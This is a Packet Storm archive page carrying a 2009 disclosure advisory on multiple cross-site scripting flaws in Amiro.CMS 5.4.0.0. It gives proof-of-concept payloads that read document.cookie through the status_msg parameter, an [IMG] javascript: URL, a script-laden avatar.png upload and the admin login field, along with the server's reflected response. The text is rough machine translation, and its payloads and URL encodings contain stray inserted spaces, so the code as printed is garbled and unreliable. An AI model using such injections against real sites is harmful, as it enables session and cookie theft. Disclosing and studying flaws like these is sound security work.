what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Amiro.CMS 5.4.0.0 Cross Site Scripting

Amiro.CMS 5.4.0.0 Cross Site Scripting
Posted Oct 20, 2009
Authored by Vladimir Vorontsov

Amiro.CMS versions 5.4.0.0 and below suffer from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 5525bf72943f6dcc96ba48ed95cee768aa3924f3d67dbcd950c0142cb6f65c94

Amiro.CMS 5.4.0.0 Cross Site Scripting

Change Mirror Download
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[ONSEC-09-004] Amiro.CMS Multiple XSS
Objective: Amiro <= 5.4.0.0
Type: Cross-site scripting
Threat: Medium
Date Discovered: 01.07.2009
Date of notification Developer: 01.07.2009
Released fixes: 06.10.2009
Author: Vladimir Vorontsov
OnSec Russian Security Group (onsec [dot] ru)
Description: ================================================ ====
The vulnerability exists due to defect in the function test special
characters in the string parameter status_msg. Especially the query with
the tag [ALERT] [/ ALERT] allows you to make any sacrifices in the browser
JavaScript code. Parameter status_msg serves to notify the user and
processed at:
================================================== ==
http://localhost:7777/news
http://localhost:7777/comment
http://localhost:7777/forum
http://localhost:7777/blog
http://localhost:7777/tags
http://localhost:7777/_admin/forum.php
http://localhost:7777/_admin/discussion.php
http://localhost:7777/_admin/guestbook.php
http://localhost:7777/_admin/blog.php
http://localhost:7777/_admin/news.php
http://localhost:7777/_admin/srv_updates.php
http://localhost:7777/_admin/srv_backups.php
http://localhost:7777/_admin/srv_twist_prevention.php
http://localhost:7777/_admin/srv_tags.php
http://localhost:7777/_admin/srv_tags_reindex.php
http://localhost:7777/_admin/google_sitemap.php
http://localhost:7777/_admin/sitemap_history.php
http://localhost:7777/_admin/srv_options.php
http://localhost:7777/_admin/locales.php
http://localhost:7777/_admin/plugins_wizard.php

Special types of string parameter is as follows (the submission
URL-decoded):

? status_msg = a: 2: (s: 3: "sys"; a: 0: () s: 5: "plain"; a: 1: (i: 0; a:
2: (s: 3: "msg "; s: 68:" ONsec.ru - XSS test [ALERT] \ "); alert
(document.cookie) / / alert ([/ ALERT]"; s: 4: "type"; s: 4: "none ";}}}

Implementation:

http://localhost:7777/news/?status_msg=a% 3A2% 3A% 7Bs% 3A3% 3A% 22sys% 22%
3Ba% 3A0% 3A% 7B% 7Ds% 3A5% 3A% 22plain% 22% 3Ba% 3A1 % 3A% 7Bi% 3A0% 3Ba%
3A2% 3A% 7Bs% 3A3% 3A% 22msg% 22% 3Bs% 3A68% 3A% 22ONsec.ru% 20 -% 20XSS%
20test% 5BALERT% 5D% 5C% 27% 29% 3Balert% 28document.cookie% 29% 2F%
2Falert% 28% 5B% 2FALERT% 5D% 22% 3Bs% 3A4% 3A% 22type% 22% 3Bs% 3A4% 3A%
22none% 22% 3B% 7D% 7D% 7D

================================================== ====
Vulnerability exists in the processing function values of the tag [IMG],
which serves to place the pictures in the message body. By sending a
special message on the forum, guestbook or leave a comment, an attacker can
execute arbitrary JavaScript code on the victim's computer, which will see
his message. The result of the example depends on the browser, checked on
Opera 9.52 build 10108.
================================================== ====
Implementation:

[IMG] javascript: alert (document.cookie +% 27 \ n \ nONsec.ru% 27) [/ IMG]


================================================== ====
The vulnerability exists due to the lack of checks on user avatars. An
attacker could upload an avatar with JavaScript code inside the file with
the extension. PNG,. JPG or other image. When you open a full reference to
this picture browser Internet Explorer <= 7, on a computer to execute
contained within JavaScript code.
================================================== ====
Implementation:

Create a file with the following contents:

<script> alert (document.cookie + "\ n \ nONsec.ru") </ script>

save it as avatar.png, then upload as your avatar. Open the link to the
downloaded file browser InternetExplorer <= 7.

================================================== ====
The vulnerability exists due to the lack of filtering of characters in the
user name when logging into the administrative console. When sending a POST
request to a page http://localhost:7777/pages.php similar content:
================================================== ====
username = "> <script> alert (document.cookie +" \ n \ nONsec.Ru ") </
script>

application returns the following response:

<input class=field style="width:100px" type=text name="loginname" value="">
<script> alert (document.cookie + "\ n \ nONsec.Ru") </ script> ">

Implementation:

In the administrative console login prompt, enter the user name:

"> <script> alert (document.cookie +" \ n \ nONsec.Ru ") </ script>

and will realize the login attempt


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close